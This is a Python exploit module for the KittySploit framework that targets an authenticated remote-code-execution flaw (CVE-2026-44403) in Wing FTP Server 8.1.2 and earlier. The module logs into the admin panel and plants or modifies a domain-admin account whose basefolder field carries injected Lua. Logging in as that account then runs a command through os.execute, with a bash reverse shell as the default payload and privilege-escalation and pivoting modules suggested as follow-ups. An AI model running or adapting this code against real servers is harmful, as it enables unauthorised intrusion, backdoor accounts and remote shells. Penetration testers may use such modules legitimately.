Wing FTP Server <= 8.1.2 Authenticated Session Poisoning RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wing_ftp import WingFtp

_AFFECTED_VERSION = "8.1.2"


class Module(Exploit, Http_client, WingFtp):

    __info__ = {
        "name": "Wing FTP Server <= 8.1.2 Authenticated Session Poisoning RCE",
        "description": (
            "CVE-2026-44403: an authenticated full Wing FTP administrator can inject Lua into "
            "domain-admin session serialization by poisoning the mydirectory (basefolder) field. "
            "The module logs in, creates or updates a poisoned domain admin, triggers execution "
            "by logging in as that account, and dispatches the configured framework payload via "
            "os.execute(). Fixed in Wing FTP Server 8.1.3."
        ),
        "author": ["Ünsal Furkan Harani", "KittySploit Team"],
        "cve": ["CVE-2026-44403"],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            "https://www.wftpserver.com/",
            "https://www.cve.org/CVERecord?id=CVE-2026-44403",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
        "tags": [
            "wing-ftp",
            "ftp",
            "authenticated",
            "rce",
            "lua",
            "session-poisoning",
            "cve-2026-44403",
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'account_creation'],
        'expected_requests': 6,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(WingFtp.DEFAULT_PORT, "Target port (Wing FTP admin default 5466)", required=True)
    ssl = OptBool(False, "Use HTTPS for the admin panel", required=True)
    base_path = OptString("/", "URL path prefix if the admin UI is not at site root", required=False)

    username = OptString("", "Full admin username (not readonly, not domain admin)", required=True)
    password = OptString("", "Full admin password", required=True)
    poison_username = OptString(
        "svc_backup",
        "Domain admin username to create or modify for session poisoning",
        required=False,
    )
    poison_password = OptString(
        "P@ssw0rd123!",
        "Password for the poisoned domain admin account",
        required=False,
    )

    def check(self):
        timeout = max(int(self.timeout or 10), 10)
        base_path = self.base_path

        try:
            probe = self.wing_ftp_probe_panel(base_path=base_path, timeout=timeout)
        except Exception as exc:
            return {"vulnerable": False, "reason": f"Probe failed: {exc}", "confidence": "low"}

        if probe.get("status") != "panel":
            return {
                "vulnerable": False,
                "reason": probe.get("reason") or "Wing FTP admin panel not detected",
                "confidence": "low",
            }

        version = str(probe.get("version") or "")
        if version and not self.wing_ftp_version_lte(version, _AFFECTED_VERSION):
            return {
                "vulnerable": False,
                "reason": f"Version hint {version} is newer than affected <= {_AFFECTED_VERSION}",
                "confidence": "medium",
            }

        login = self.wing_ftp_login(
            self.username,
            self.password,
            base_path=base_path,
            timeout=timeout,
        )
        if login.get("two_factor"):
            return {
                "vulnerable": False,
                "reason": "Two-factor authentication is enabled",
                "confidence": "medium",
            }
        if not login.get("ok"):
            return {
                "vulnerable": False,
                "reason": login.get("reason") or "Supplied admin credentials did not authenticate",
                "confidence": "medium",
            }

        auth_version = self.wing_ftp_fetch_version_after_login(base_path=base_path, timeout=timeout)
        if auth_version:
            version = auth_version
            if not self.wing_ftp_version_lte(version, _AFFECTED_VERSION):
                return {
                    "vulnerable": False,
                    "reason": f"Authenticated version {version} is newer than <= {_AFFECTED_VERSION}",
                    "confidence": "high",
                }

        detail = "Wing FTP admin panel and full admin authentication confirmed"
        if version:
            detail += f"; version hint {version}"
        return {"vulnerable": True, "reason": detail, "confidence": "high"}

    def run(self):
        timeout = max(int(self.timeout or 15), 15)
        base_path = self.base_path

        if self.command:
            command = str(self.command)
        else:
            if not self.payload:
                print_error("No payload or command specified")
                print_info("Set a payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp) or use command")
                return False
            command = str(self.payload)

        print_status("CVE-2026-44403 - Wing FTP authenticated session poisoning RCE")
        print_info(f"Target admin panel: {self.target}:{self.port}")

        probe = self.wing_ftp_probe_panel(base_path=base_path, timeout=timeout)
        if probe.get("status") != "panel":
            print_error(probe.get("reason") or "Wing FTP admin panel not detected")
            self.not_vulnerable()
            return False

        print_success(f"Wing FTP admin panel detected ({probe.get('path')})")

        login = self.wing_ftp_login(
            self.username,
            self.password,
            base_path=base_path,
            timeout=timeout,
        )
        if login.get("two_factor"):
            print_error("Two-factor authentication is enabled; this exploit does not handle TOTP")
            self.not_vulnerable()
            return False
        if not login.get("ok"):
            print_error(login.get("reason") or "Admin authentication failed")
            self.not_vulnerable()
            return False

        print_success(f"Logged in as full admin {self.username}")

        version = str(probe.get("version") or "")
        auth_version = self.wing_ftp_fetch_version_after_login(base_path=base_path, timeout=timeout)
        if auth_version:
            version = auth_version
            print_info(f"Version hint: {version}")
            if not self.wing_ftp_version_lte(version, _AFFECTED_VERSION):
                print_warning(
                    f"Version {version} appears newer than affected <= {_AFFECTED_VERSION}; continuing anyway"
                )

        lua_payload = self.wing_ftp_lua_os_execute(command)
        poison_user = str(self.poison_username or "svc_backup").strip()
        poison_pass = str(self.poison_password or "P@ssw0rd123!")

        print_status(f"Creating or updating poisoned domain admin '{poison_user}'...")
        create = self.wing_ftp_create_poisoned_admin(
            poison_user,
            poison_pass,
            lua_payload,
            base_path=base_path,
            timeout=timeout,
        )
        if not create.get("ok"):
            print_error(create.get("reason") or "Failed to plant poisoned domain admin")
            self.not_vulnerable()
            return False

        action = "modified" if create.get("modified") else "created"
        print_success(f"Poisoned domain admin {action} ({create.get('reason')})")

        print_status("Triggering poisoned session load...")
        trigger = self.wing_ftp_trigger_payload(
            poison_user,
            poison_pass,
            base_path=base_path,
            timeout=timeout,
        )
        if not trigger.get("ok"):
            print_error(trigger.get("reason") or "Failed to trigger payload")
            self.not_vulnerable()
            return False

        print_success(
            "Payload dispatched via session poisoning "
            f"(trigger HTTP {trigger.get('trigger_status')})"
        )
        print_info(
            "The poisoned session may re-execute on subsequent loads until the session file is cleared"
        )
        self.vulnerable()
        return True